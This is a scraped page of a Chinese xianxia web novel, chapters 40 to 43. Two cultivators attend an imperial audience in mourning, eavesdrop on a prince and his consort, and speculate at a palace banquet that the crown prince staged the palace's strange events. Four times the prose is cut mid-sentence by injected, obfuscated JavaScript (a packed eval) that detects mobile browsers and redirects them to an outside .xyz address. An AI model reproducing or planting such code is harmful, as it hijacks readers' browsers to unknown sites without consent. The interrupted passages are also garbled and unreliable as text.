圣上面见众仙家之处为紫宸殿,乃其日常处理公务及会见臣子之地,殿前一侧有座偏殿,平日里是供大臣们等候召见时休憩用的,宫女将四人引领至偏殿外便欠身退下了,几人甫一进入殿内,早先等候在此的仙家们便纷纷起身同他们见礼。 “封公子,秦公子,长久未见了,别来无恙。” “封师兄,我听闻下一届的仙盟大试,师兄也在考官之列……” “秦师兄秦师兄,抱歉打扰了,能……能给我签个名吗?” 走在后头的殷烬翎眼瞅着前边两位被围了个水泄不通,而自己这冷冷清清无人问候,不禁内心感叹世风日下,修仙界也逐渐乌烟瘴气了起来,如她这般不畏强权埋头苦干濯濯白莲遗世独立的人实在已经不多了! 殷烬翎尚在心系修仙界未来之时,这厢叶南扶一声不响地已找了地儿坐下来,深切贯彻落实他“能坐就绝不站着”的人生准则。 殷烬翎左右顾望了下,过来挨着叶南扶坐下,扯扯他衣袍道:“昨日我们想错了,太子妃之事怕是与妖蛊无关。” “哦?太子问我之事,你拿去请教了你那两位师兄?” 殷烬翎点点头,不得不在心里暗赞一声老哥的思维转得是当真快。 “如此说来,有必要去太后生前寝宫走一趟。”叶南扶撑着下巴,缓缓道。 “不错啊老哥,与我想到一处去了。”殷烬翎拍着叶南扶的肩,“我正打算同你说,过会面见完皇帝陛下,便上太后的慈宁宫那儿稍微瞧瞧。” “那他们呢?”叶南扶冲仍被围困在人群中央的封荀和秦子铮努了努嘴。 殷烬翎瞥了人堆一眼:“他们?就我们俩啊,带上他们作甚?毕竟是已故太后的寝殿,我们只是去悄悄瞄上那么两眼,还四个人作一团招摇过市,生怕旁人不知道嘛。” 叶南扶眉眼间隐约有了些许笑意:“也是。” 不多时,门外来了内侍通传,围在一处的仙家们终于散了开来,封荀和秦子铮总算是有空暇喘口气了,然而也不容他们稍事休整,殿内的所有几十号仙家很快排了两列,毫无异议地推举了他俩领头,一队人便浩浩荡荡往紫宸殿进发了。 因太后丧期未过,紫宸殿内横挂了不少素缟白绫,大乘的皇帝陛下正端坐在上首,两旁侍立着几名内侍宫人,见众仙家自正门鱼贯而入,皇帝便起了身相迎,一直待众人分立到大殿两旁,他也没落座,而是站着便开了口。 “道长们远道而来,一路舟车劳顿辛苦了。” 也谈不上舟车劳顿吧,大家应该都是御剑来的。殷烬翎暗自接话。 她排在不前不后的位置,佯垂着头暗暗抬眼张望上方,只见这位帝王也是一身的麻布孝服,额上还缠着一圈白布,眼窝微陷,目眶发青,体态略显消瘦,形容很是有几分憔悴,只是精神尚佳,语声明朗,倒是中气未衰。 “此番请众位前来,是因近日宫里出现了诸多不安定之事,而再过一阵便是先太后的百日祭奠,还要麻烦道长们多多劳心,保证百日能顺利进行。” 下首众人纷纷称是,更有人出言叫陛下放宽心,多加休息,切勿过度操劳。 皇帝微微笑着,颔首道:“多谢众位道长关心,此事过后,寡人定会好好调摄身体的,只是目前宫内异事未平,祸患未除,实在无心无力顾及这些。” 前边又有仙家称赞陛下重孝重义,忧国忧民,实乃大乘社稷之福,引得诸多仙家都出声附和起来,场面一度热火朝天。 殷烬翎暗地里嗤笑一声,忽然蹙起了眉,觉得似乎有什么地方不对劲。 方才陛下这一番话乍一听似乎没什么问题,然而越细想越是古怪。 先前说是因丧期内怪事频出,陛下恐太后亡魂难安,故而请来仙家安魂超度,既然是太后先魂,以陛下颇重孝道,又怎会称之为“祸患”?而且,这言下之意竟像是让我们找出这一系列事件背后作乱的妖邪,不得不引人深思…… 后头又说了什么,殷烬翎全然未觉,终归不外乎是些来回客套、商业互吹之辞,直到皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017639|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝一句“既如此,今日便不耽误众位了”,令她顿时虎躯一震,抬起了头。 过往开师门大会时,满门弟子立在那里听掌门、长老们接二连三絮絮叨叨说上几个时辰,她常常是听得昏昏欲睡,半个字也进不到耳朵里,而一旦说到类似“老朽今日就言尽于此”“最后说一句”“总而言之”等结束语句的关键字词,她瞬间宛如醍醐灌顶,眼不迷糊了,头不晕眩了,精神饱满地就等着一声令下便要开溜。 她不动声色地拉了拉立在她前边的叶南扶,压低声音:“老哥,一会儿散了就直接去慈宁宫嗷。”颇有些以往临近下课前与邻桌议论等会去哪儿玩的模样。 叶南扶显见地也在神游天外,被殷烬翎这一拉回了神,几不可闻地鼻子里应了一声。 片刻后散了会,众仙家三三两两地结伴往殿外走,殷烬翎不声不响地拉起叶南扶,健步如飞,轻轻巧巧越过人群缝隙,一马当先地出了大殿,直奔一个方向而去。 “殷梨!” 出于同门师兄的责任,封荀本想再同她问问清楚叶南扶的来历,顺便借机逃离这些过分热情的仙家们,然而连连追出殿外都赶不及,两人早已没了影,绝望的封荀又被一拥而上的众人围了起来。 “刚刚是不是有人在唤我?”殷烬翎稍稍放慢了脚步,看向叶南扶。 叶南扶摇头。 “没睡好嘛,咋还耳鸣上了……”殷烬翎轻声嘀咕着,继续往前走。 叶南扶唇角微微一翘。 走了半晌,见沿路逐渐从宫阙楼阁变成了林园假山,从尚能见到来往的宫女到半炷香都见不到一个活人,且还有再往荒凉上靠的趋向,叶南扶忍不住开口:“你确定没走错方向?” “没啊,昨日你被太子叫去之时,我问了宫女,她指的就是这个方位。”殷烬翎不解地挠了两下头发,梳得齐整的髻登时散了些碎发下来。 叶南扶垂下眼眸,目光轻快地扫过她落在鬓间的碎发,并未作声。 再往前走就是成片的草木树丛了,殷烬翎四下望了望,都不像是有路过去的样子。 “见鬼了。”她又抓了两下头发,低声骂了一句,提起衣袍下摆,抬步便往草丛里踩。 叶南扶背倚着边上一棵树,凉凉地道:“小草也想长,踏前想一想。” 殷烬翎:“……” 正在殷烬翎有些迟疑是退出去绕一圈找别的路,还是继续另辟蹊径之时,不远处传来一阵脚步声,间或夹杂几句人声,渐渐由远及近。 殷烬翎此时已站在草丛里,瞧不见路远处的情况,见叶南扶转了头循声望去,便问道:“老哥,是谁来了?” 还未等她话音落地,叶南扶突然跃至她身旁,一把抓住她衣袍飞快地拉到了一个巨石背后。 “怎么,现在小草不长了?”殷烬翎明白他定是瞧见了什么才拉着她躲避,但就是想损他两句。 叶南扶高深莫测地瞥她一眼:“我们不一样。” 殷烬翎刚想控诉他恶劣的双标行径,蓦然觉得脚下似乎有什么动静,低头一看,只见站立之处的草木正以肉眼可见的速度窜高,顷刻便疯长了一大片。 殷烬翎:“……” 殷烬翎觉得,老哥要是有钱一定是个顶级败家子,穷人真的永远想象不到权贵可以有多奢侈,原来生命力太多还能这么用的吗?! 她掀了掀嘴角,正打算开口,叶南扶伸出一根食指竖在她唇前边,压低声音道:“过来了。” 41. 第 41 章 殷烬翎立刻噤了声,集中注意听着林外的动静。 此时脚步已然很近了,应是有两个人,一男一女,听声音皆是青年人。 女子步伐沉稳端庄,不徐不疾,似乎是出身名门礼仪周全的大家闺秀;男子则与之截然相反,步子甚是轻盈跳脱,像是少年心性,忽而快走两步,忽又放慢了绕到女子面前。 “颜儿颜儿,你快瞧那边,那是皇祖母生前常侍弄的花木,近月来忙着丧葬事宜,许久未留心,也不知何时居然开得那么好。” “看这几株白菊,名为瑶台玉凤,相当名贵的品种,因品名里带了皇祖母的名讳,故而是她老人家最喜爱的花。” “不过话说回来,颜儿你上慈宁宫这儿到底要做什么?” “哎,颜儿,你近日怎么了,似乎心事重重的,今早还想偷偷跑来这里,若不是我拦着你追问,你怕也不会同我交代的吧?” “颜儿,我都说了这么多,好歹理我一句嘛。” 女子悠悠开口,声音轻柔平缓:“殿下,不是臣妾不理会,而是……殿下实在没给臣妾留回话的时间啊。” 躲在巨石后头的殷烬翎发出了短促而轻微的“噗嗤”一声,叶南扶低头望了过来,殷烬翎连忙捂住自己的嘴,含着歉意地冲他眨眨眼。 怎么觉着这场面似乎有些眼熟。 殷烬翎垂下眸子,暗暗思忖。既然称皇祖母,这男子估摸着是二皇子齐王谢颂或三皇子襄王谢预了,那女子便是其王妃。 巨石并不够宽,两人挨得有些近,她额前鬓边散落的发丝在叶南扶胸口扫来扫去,他忍不住又瞥了几眼,稍稍有些烦躁。 “啊,抱歉颜儿,我……我没注意……”男子说着声音低了下去。 女子忽然轻声笑了,如佩环相碰般清脆悦耳:“殿下不必如此,况且真要说起来,方才臣妾也不知该回些什么。殿下莫忘了,太后从前是我姑祖母,许多事我一早便知晓了。” “对哦,我……我尽想着得让颜儿瞧瞧这些珍奇花木,一时给忘了……”男子有些讪讪道,旋即又欣喜地提高了声音,“颜儿你笑了!你笑起来真好看!以后多笑笑给我看好吗?” 女子似有些赧然:“殿下别闹了,快走吧。”说着稍稍加快了脚步。 “哎,我是说真的!”男子连忙快步追了上去。 两人脚步声渐渐远去,殷烬翎这才从藏身的巨石后探出个脑袋,四里环顾一周,这才转身向叶南扶道:“外头没人了。” 叶南扶皱眉看着殷烬翎:“我有个问题。” “什么?” “你还记得自己会隐形诀吗?” 殷烬翎一呆。 “等等,方才不是你突然进来拉着我藏到石头后面的嘛?” “你站的那个位置,他们再过来些就该被发现了,我本意是让你藏好后施个术法,谁知你愣是屏息凝神地听了半天。” “不好意思,刚刚入戏太深了,唉,都是那些画本的错,害得我现在不这么躲躲藏藏地偷听就觉得觉得怪没气氛的,嘿嘿……” 叶南扶嫌弃地推了她一把:“赶紧出去吧。” 殷烬翎敏锐地觉得,老哥似乎有点烦躁。 不过这个人一贯怪得很,阴晴不定的,也不晓得这些情绪从何而来,好在只消过会儿便又相安无事了,因此也不必如何在意。 “那现下如何安排?方才两人往慈宁宫去了,我们这时过去难免会碰上。”殷烬翎望着两人离开的方向。 “你决定吧。”叶南扶又懒散地倚靠到树上去了,漫不经心道。 “我其实还挺想正面同他们见上一见的,只是慈宁宫这个场合显然不大适宜。”殷烬翎掉转了头,拉着叶南扶往回走。 “你要见他们,今晚不就很适宜。” “今晚?” “晚间皇帝给众仙家接风洗尘,届时皇亲贵族和重要大臣都会到场,方才不是说了吗?” 殷烬翎又是一呆:“你居然认真听了半天他们互相客套?” 这简直就像过去临近考核,平日里一起理论课顶风作案、术法课寻隙偷懒的同伙突然告诉你,其实他一直都在认真听讲,而你却是真的心无旁骛地在摸鱼以致于什么也不知道。 - 垂落的夜幕宛如破旧的麻袋,沉沉地往宫殿顶上倾压下来,无数惨白的宫灯是一只只鬼魅的眼瞳,为这凄迷夜色横添三分幽邃。 好在今夜倒不似前一日这般死寂,因着圣上设宴为仙家接风洗尘,宫人便来往忙碌起来,一众官宦侯爵也进了宫,算是驱走了些许往日冷清,令此处稍稍多了几分人气。 由于丧期未过,本是不可操办宴席的,然而大乘皇朝历来颇重仙道,如若怠慢了仙家也是不可取的,故而礼部想了个折中的法子,虽说名叫洗尘宴,实际“宴”的部分仅有仙家而已,诸仙家不受人间规矩所制,可先行用过晚膳,尔后撤去席面,朝中宫里的众人再行入内与仙家们会面,如此一来,既不曾失礼于仙者,又不会令皇亲贵族们犯丧期参宴之大忌。 殷烬翎觉得想出这主意的真是个小机灵鬼。 她此时正坐在宴席上,撑着头,百无聊赖地看着这群仙家们一个接一个地排着队路过她身边去与封荀和秦子铮敬酒。 尽管没了皇室亲眷的参与,宴席到底还是受了白事的影响,菜肴多是素淡之属,几乎见不到几个荤腥,不过酒水倒是没少了去,横竖现下席上没什么外人,这些老油子们便也懒得摆出仙风道骨的姿态了,推杯换盏来得甚是勤快,俨然在人间混得久了,沾了满身的人界习性。 殷烬翎收回目光,低头在碗里拨了拨,夹了块山药往嘴里送,余光瞟到身侧某人,一时筷子没拿稳,惊得山药“啪”地又落回了碗里,她也没空理会,偏过头朝正襟危坐的叶南扶看去,神色活像见了鬼。 叶南扶背挺得笔直如悬针,双手规规矩矩地互相交叠放在案上,微微垂着头呆滞地盯着跟前的空碗,似乎在神游天外。 殷烬翎不可置信地瞅瞅他的坐姿,又瞧瞧他面前干干净净的空碗。 这老哥,是被夺舍了嘛?他不是一贯很能吃,嘴一刻也不见停嘛,如今居然对着满桌的菜肴——虽然谈不上山珍海味,但也好歹是出自皇宫御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026465|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨——这般无动于衷?! 半晌,似乎是觉察到殷烬翎震惊的目光,叶南扶回过神来,神色悲戚哀惋,像是自言自语,又像是在问她:“为何这宴席是这般模样……” 嚯,挑食啊,恁的娇贵。殷烬翎眯起眼,留下的一条缝里透着不屑的光。 之前过来江宁路上,跋山涉水只能啃干粮时,也没见他有过什么意见啊,怎么这进了皇城便入乡随俗随了那些王公贵族了? “你究竟想吃什么?” 叶南扶抿了抿唇,喉结在白皙的颈项上动了两动,始终没吭声。 听他的话像是对这宴席不大满意,他先前在江南宋家之时也吃过一次宴席,菜色自然及不上这宫宴,也没见他有什么微词。 看不透。殷烬翎摇头看了他两眼,咂咂嘴,回去对付自个儿碗里的东西去了。 除了最后估计是实在捱不住饿,挑了两三颗丸子吃,全程就没见叶南扶动过什么菜,只是一直哀怨地望着桌上。等到那边的觥筹交错也差不多落幕了,便有候在门口的宫人进来撤走残盘与桌案,换上垫子与矮几,接着请仙家们稍作移步。 殷烬翎坐到软垫上,低头瞧了瞧面前矮几,上头摆了个精致的盘子,盛着几块糯米糕,估计是饭后点心了。 她方才吃得已有些饱了,此时对这些软塌塌的粘牙糕点无甚兴趣,转头欲与叶南扶搭话,却瞥见他面前放着一个空盘。 再一抬眼,只见叶南扶面不改色,嘴正以不易察觉的幅度一动一动。 这空盘,莫不是……他刚刚瞬间搬空的吧?所以说这老哥之前原来是在埋怨这宴席上没点心零嘴啊,怪不得什么菜也不碰,就等着把肚子留到现在装这些吧? 殷烬翎心中腹诽,却还是端起自己的糕点,放到了他面前去。 “哎,老哥。”殷烬翎拉拉他袖子,往他这边凑得近些,“我一直有个疑问。” 叶南扶拈起一块糕点,静静等着她下文。 “从前我便觉着,这大乘皇朝尊仙重道风气未免过于盛行了,今次头一回进了皇城,才发觉民间那点根本算不得什么,皇家可比这夸张多了,他们才是这风气的根源所在。” 从太子自称名字,对着仙家长揖及地,到皇帝召见仙家时起身不坐,还有这即便丧期忌摆宴也绝不肯怠慢仙家的行为,简直就是把尊仙重道四个字刻在了骨子里。 也难怪七年前妖蛊案能翻出那么大波澜了,在一个极度崇尚仙道的朝廷治下,只怕提一个妖字都会是大不敬。 殷烬翎自顾自往下说:“我从前初入人间时好奇过这事,也曾去调查过,你还记得先前在民间见过,百姓供奉的白仙画像吗?” 叶南扶将软糯的糕点在指尖捏着,不送入口,也并未答话。 “大乘皇朝建立至今统共两千余年,期间并未与我们修仙界有什么渊源,他们真正崇敬的对象,其实是这位白仙,据说两千年前,大乘的建立起于一场天降瘟灾……” 她的话到一半,门外便有熙熙攘攘之声传来,一时众仙家尽数站了起来,殷烬翎止了话头,连忙拉着叶南扶也起了身。 42. 第 42 章 仪仗停在门口,皇帝领着一群人进入殿内,这一行的皇室亲族仍个个披麻戴孝,与那出丧时行白事游街,仅差了几只唢呐。 上首早已预留了位子,见过礼后,皇帝先请众仙家落座,因知晓大乘风俗向来如此,众仙也不含糊,稍稍客气两句便落了座,尔后皇帝才坐下,接着是后妃子女、王侯大臣陆续入座。 殷烬翎微微伸长脖子看向皇帝身旁,其右手边坐着太子,太子身侧是一位三十来岁的中年男子,从其头戴的冠帽来看,大约官拜丞相,而这大乘朝的丞相仅有一位,那便是准太子妃黎落的父亲,黎相。 而皇族亲眷就没那么好认了,原因无他,个个都穿着素白的丧服,虽说亲疏不同,所着丧服有些许差异,但殷烬翎坐的位置离得远了,看不大清。 只能瞧见皇帝左侧坐着一位荆钗白裙、不施粉黛的端庄妇人,想来是皇后,再旁边些依序是两位青年男子,俱是龙姿凤表,体貌不凡,应当是齐王、襄王两位皇子,其中一位身旁有个同样素面未妆的年轻女子,虽则一身缟素,然一双妙目如秋水涨落,两笔秀眉似远山含黛,玉骨冰肌,墨发如缎。 这女子生得确然出众,殷烬翎目光忍不住在其上多停留了片刻,这时侧边传来一个声音:“那是襄王妃。” 殷烬翎转头,见秦子铮坐到了她身畔,而原先坐在此处的封荀此时正与她隔着一个座位,脸上的喜色还未来得及收回去。 这人多大了,还搁着小孩似的换座位呢。 殷烬翎心底冷哼,她不打算理会封荀的幼稚举动,倒不如说反而给她提供了询问秦子铮的便利。 “秦师兄,你认识?” “谈不上认识,但总归早你们几日来,稍许知道一些。”秦子铮道,“襄王妃名唤姬朝颜,是太后母家,定国公姬氏的三房嫡女,太后的侄孙女,据说从前很是得太后喜爱。她旁边那位便是她的夫君,皇三子,襄王谢预,我听闻这襄王从前最是得太后宠爱。” 看来白日里在慈宁宫附近碰见的青年男女便是这襄王与襄王妃了,倒是一对璧人。 殷烬翎视线又在上首几人身上逡巡了一圈,疑惑道:“陛下这三位皇子,怎么反倒是最小的襄王最先娶了妃?” 虽说若不是太后出事,太子此时本也有了正妃,但这襄王婚期定的比太子早应当是不会错的。 “这事我倒是从宫人的闲言碎语中听过一些,据传是襄王对王妃一见倾心,日日上慈宁宫向太后求旨赐婚,太后素日里便宠襄王,教他缠得没辙了就点了头,襄王得了首肯,立马联系了定国公府,兴冲冲地拟了婚期,这才成了头一个娶了妻室的。” 殷烬翎一边听着,一边继续观望着皇室宗亲们,忽而目光一转,注意到角落里还有一位中年男子,坐得与这片白晃晃人群稍有些距离,与皇帝年纪相仿,约莫三十八岁上下,因远离了上首处,距殷烬翎等人座位倒是近了些,她眯了眯眼仔细打量了一番他身上的麻布孝服,似乎着的是斩衰重孝? 斩衰是五服中的最重的一服,仅有亡者的父母子女穿着。 “那位是?”殷烬翎伸手遥遥点了一下。 “是淮安王谢霁,陛下的兄长。” “兄长……这么说是庶出?” “不。”秦子铮摇头,“是嫡出。” 顿了顿,他身子往殷烬翎这边倾斜过来一些,微微压低了声音:“刚刚故去的这位姬太后,是先帝第二任皇后,在那之前的第一任林皇后便是淮安王的生母,淮安王十几年前曾经是大乘的储君。” 殷烬翎讶异地再度扫了一眼这位独自远离众人而坐的男子:“这是为何……” “自然是因为十二年前,也就是陛下登基那一年,发生的那场动乱。” “那年……出了何事?” 秦子铮微微一笑:“殷师妹分明已经下山入世多年,怎的似乎比我这个留在仙盟的人还不晓人间事?” 殷烬翎不由有些羞惭地挠了挠头,垂下首道:“许是那几年刚巧修炼卡在瓶颈上,寻了处隐世之地闭关去了。” 我绝不承认我当时很可能是刚捞了笔大的,去屯了一大堆画本,找了处罕无人烟之地,不修炼也不接委托,每日就靠着辟谷的丹药续命,看看画本刷刷仙愿榜,纯躺了一年多,等出来世间诸事早已了结,故而对此一概不知。此事忒的不体面了,万不可教秦师兄他们知晓。 隔着个位子一直在暗暗听着的封荀朝她投来轻蔑怀疑的眼神。 殷烬翎顿时杏目圆睁,悄悄瞪了一眼过去:看什么看! 秦子铮对两人的小动作一无所觉,接着道:“十二年前,先帝遭人暗算驾崩,朝中局势动荡,北方夷狄趁乱来犯,几日内连陷数城,当时太子——也就是如今的淮安王,来不及筹备登基便匆匆率军出征,与夷狄鏖战月余后不敌,于凉州一战中被夷狄生擒,夷狄挟太子为质,索要十座城池与数万黄金。消息传回江宁城,震动朝野,有人主张开国库、割城池以求和,有人则谋划着废去太子、拥立新主,朝中党派各执一词,争斗不休,最后是太后出来主持大局,肃清朝堂,以雷霆手段迅速稳定了局面,并当机立断扶持了自己长子,也就是当今陛下继承大统,以断绝夷狄方面‘挟天子便可号令大乘’之妄想。” “其后在天佑三年,大乘与北方的惊世一役后,夺回了丢失的数座城池,远驱夷狄千里,救回了这位前太子,然则他虽回到帝京,今上却已在这位子上坐了三年,断没有退位礼让的道理,便只得给前太子封了个淮安王,其封地在淮河以北,数年来他都是待在封地那儿的,此次是因太后薨逝才来的帝京。” 殷烬翎听得不由侧目看了眼秦子铮。 未曾想秦师兄这样一个风姿高洁之人居然知道这许多皇家八卦,真是深藏不露啊!实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039011|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不相瞒,我特别喜欢听八卦,师兄,授人以鱼不如授人以渔,教教我怎么打听呗? 不过话说回来,虽说彼时确实是因情势所迫,为尽快平定江山才做出改立的决定,但从淮安王的立场来看,太后和当今陛下可以说得上是生生将皇位从他手中夺了去,让他在如今的朝中地位相当尴尬,也难怪他会一直待在封地不出,并且在现下这宫宴上也坐得远远的,丝毫不掩饰对陛下的不满。 正想着,突然感到右边衣袖被扯了扯,她转头去瞧叶南扶,只见他目不斜视,一只手还拉在她袖子上,面前矮几上又是一个空盘。 您还装得下啊?我真的是彻底服了,这是造了个胃出来专门安放点心嘛?正餐不见你动筷子,零嘴可劲儿往肚里填——虽然连吃了一年多辟谷丹的我貌似也没资格指责——但是这么浪的饮食习惯没折腾出病来真的算你命大! ……啊不对,这个人生命力多得生怕没地儿花,估计是根本不会得病,好像就是可以这么浪,这一想怎么反倒我才是该被斥责的那个? “作甚?”殷烬翎没好气道。 叶南扶默了默,松开手:“没什么。” 听得这一句,殷烬翎一愣,这才仔细瞧了瞧,见他面色微沉,嘴角轻抿,似乎有些不愉,她心下不免纳罕:他方才不还吃糕点吃得挺欢快嘛?这才转眼的功夫又在闹腾什么? 不过老哥近来确实越发古怪了起来,话也少了很多,除了还同她闲扯斗嘴两句之外,如非必要几乎不与人搭腔,这是……因为皇宫里人多了,万年死宅比较怕生的缘故嘛? 说起来,似乎自己也有一定责任……自打进了皇城,见了不少以往熟识的仙道中人,尤其是秦师兄和疯狗,常与他们说着话便忽视了老哥,再加上他同仙界的人并不认识,又不是个自来熟的性格,话自然便少了许多。 毕竟他在这往生界里,算得上相识的人也只有她一人,见到她与旁人相谈甚欢,免不得会生出几分孤寂之感来。 她用手抵着下颌,歪头打量着叶南扶,垂落的眼帘下掩着深黑的眸子,被四里明晃的宫灯烛火一映,却又亮得出奇,宛如初阳下叶尖上衔着澄澈的朝露。 得寻个时机,正式向两位师兄引见一下,之后送他回去的路上,还能搭个仙盟的便车。她暗自盘算着。 殷烬翎一低头,发觉宫人不知何时又给她添了一盘新的糕点。 莫非他扯自己衣袖是想要这个? 横竖自己对这类黏牙的甜点不甚感兴趣,于是顺手端了起来,放到了叶南扶面前。 叶南扶看着盘子怔了怔,忙看向殷烬翎,见后者又转回去同秦子铮说话,下意识地抬手去够她的衣袖。 我不是这个意思…… 手却堪堪在半途停了下来,不露声色地放了下来,尔后他拈起块糕点,递到嘴边咬了一口。 ……算了,也行吧。 43. 第 43 章 由于仍处白事期间,尚不可赏歌舞、闻丝竹,便只余下邻座之间谈些闲话,间或有几位王公贵族过来同仙家打个招呼,怕是有史以来顶顶无趣的一场宫宴了。 殷烬翎撑着下巴,半耷拉着眼皮,头时不时一点一点的,犹如麻雀啄食,以一种在学堂时常用的听课姿势等待宫宴结束。 “我一个话痨都已经把话都一次性倒空了,怎么还不结束啊,他们真有这么多话能说?”殷烬翎小声吐槽。 叶南扶嘴里含着糕点,含混地道:“你还颇有自知之明的嘛。” 殷烬翎瞥了他一眼,决定扳着手指计算他搬空一盘的平均速度来打发时间。 “叶道长,殷道长。” 殷烬翎刚在手心里列着计算公式之时,前边传来了一个声音,她抬头一看,太子正立在面前端端正正地同他二人见礼。 殷烬翎忙拉着叶南扶起身回礼。 太子趁着垂首作揖之时,压低声音道:“昨日之事,倘若有了进展,还需劳烦道长告知一声。” 殷烬翎亦轻声回道:“这是自然。” “殿下,您很急吗?”叶南扶忽然出言。 殷烬翎闻声一怔,立刻朝他望去,他神色自若,见她看过来还使了个眼色——放心。 她便暂且压下心头的疑问,转向太子,静观事情发展。 太子显然也被叶南扶这一句问得愣了神:“道长此言何意?” “无他,就是想知道殿下所托之事,是否迫在眉睫?” 太子沉默了片刻,才有些迟疑地道:“虽……称不上迫在眉睫,但此事但凡有些眉目,还望二位道长能及早通知。” 那就是还挺急的了。殷烬翎心道。 “好,若有情况定会回复,请殿下放心。”叶南扶垂下眼帘,低眉顺目的温和模样,全无方才紧扣着追问时的凌厉。 殷烬翎忽然觉得,老哥先前还嘲讽她见了外人能瞬间摆出礼仪规整的态度,并戏称之为川剧变脸,可他现下分明也是不枉多让,这乖巧无害的样子还挺能唬人的。 太子也未再多做停留,移步向秦子铮他们寒暄去了。 看来太子在依次同所有的仙家们招呼,若只与其中几位有联系不免惹人怀疑,毕竟是大乘储君,一举一动都有无数眼睛盯着,尤其是在这种场合。 殷烬翎心里想着,慢慢落了座,想起方才之事来,便连忙将垫子往叶南扶那侧挪了挪,探着身子,抬手拢在嘴边,轻声问道:“怎么回事?” 鬓边细软的碎发若有似无地扫在他脖子上,微微作痒,耳根瞬间蹿红,甚至有一路向脖颈蔓延的趋势,偏偏罪魁祸首还毫不自知。 叶南扶垂眸瞥了眼身畔这眨着明净眼眸的少女,以及她犹自作乱的碎发,暗暗决心下次见到她发髻有些散了定要设法叫她梳妥帖。 “方才一瞬,我心中忽然有个大胆的猜测,与太子有关。” 叶南扶缓缓道:“你说如果太后丧期内平平稳稳,没有出这许多怪事,太子是不是就不可能见到我们。” 殷烬翎蓦地睁大了眼睛。 “首先令我生疑之处在于,从他此前言行看来,他像是非常迫切地想要弄清楚妖蛊一事,并找出解除之法,否则也不会在昨夜仙家还没到齐的情况下便亟亟召见,需知如今距太后百日还有不少时日,仙家们在此后一段时间里并不会很忙碌,然而他却似乎一日也等不及。” “故而有了方才一问,这也让我确信这太子殿下内心相当焦急。先姑且不论太子所托之事与太子妃失踪有否关联,若是诚如他所言,只是疑心太后涉足妖蛊,请求我们帮忙查证的话,何必如此急迫。” “再者,太子先前直言,他身为储君,言行举止不可随意,无法如陛下一般轻易便能找来诸多仙家,更何况他所托之事如此秘不可宣。” “事态急迫,又无法正当地找来仙家解决,思及这两点,我心中不免有了些想法。” “他会不会因此故意在太后丧期生些事端,引发流言纷纷,好让陛下不得不求助仙家,他则可借着陛下的东风,趁机向这些仙家求助。只不过他没想到的是,除灵师向来不接仙愿榜以外的私活,如今能有仙家愿意相助,他已算得上相当走运了。” “不过,”叶南扶顿了顿,又道,“这仅是我的凭空猜测罢了,并无确切实证。” “不,我觉得你说的不无道理。”殷烬翎眉头锁了起来,“如此,改日得去好好瞧瞧丧期内出事的那几处地方。” 两人又聊了些有的没的,宫宴总算是告一段落了,皇帝先行摆驾离开,部分积极的仙家与王公贵族还在就刚刚建立起来的深厚友谊进行诚挚探讨。 作为不思进取、摆烂躺平的典型代表,殷烬翎向来是争做下课后头一个冲出学堂的,皇帝的仪仗前脚刚踏出殿门,她便立马扯扯叶南扶衣袍,示意开溜。 “等一下。” 就在她起身要离席之时,封荀忽然站了起来:“刚好顺路,我同你们一道回去。” 殷烬翎顿时投去狐疑的目光,封荀一脸坦坦荡荡地接受她的目光洗礼。 这疯狗向来对我避之不及,刚刚还不愿同我坐一块儿来着,这回居然主动要求同行,此事定然有蹊跷,指不定肚子里藏了什么坏水。 她瞥了一眼过后也没说什么,毕竟腿长在疯狗自己身上,他要跟过来旁人也拦不住,于是径直从他身旁走了过去。 叶南扶跟在后头,路过封荀身边时,状似无意地扫了后者一眼,封荀接触到他的眼神,皱了皱眉,没说话。 既然封荀要走,秦子铮自然也没有理由再留着,于是同几位相熟的仙家告辞后,四人先行出了殿门。 刚出大殿不远,封荀便停下了脚步,拦在了殷烬翎面前,目光却定定地凝在叶南扶身上。 “师妹,你还没同我正式介绍一下这位仙友呢。” 嚯,我说呢,原来是来找老哥的茬的。 “他……” “叶述,字南扶。” 殷烬翎正盘算着怎么解释,叶南扶忽然出言打断她的话,抢先道:“封公子有何指教?” 殷烬翎疑惑地朝叶南扶望去。 老哥这是……不高兴了? “听闻你是一介散修?”封荀双手抱起胳膊,上下打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 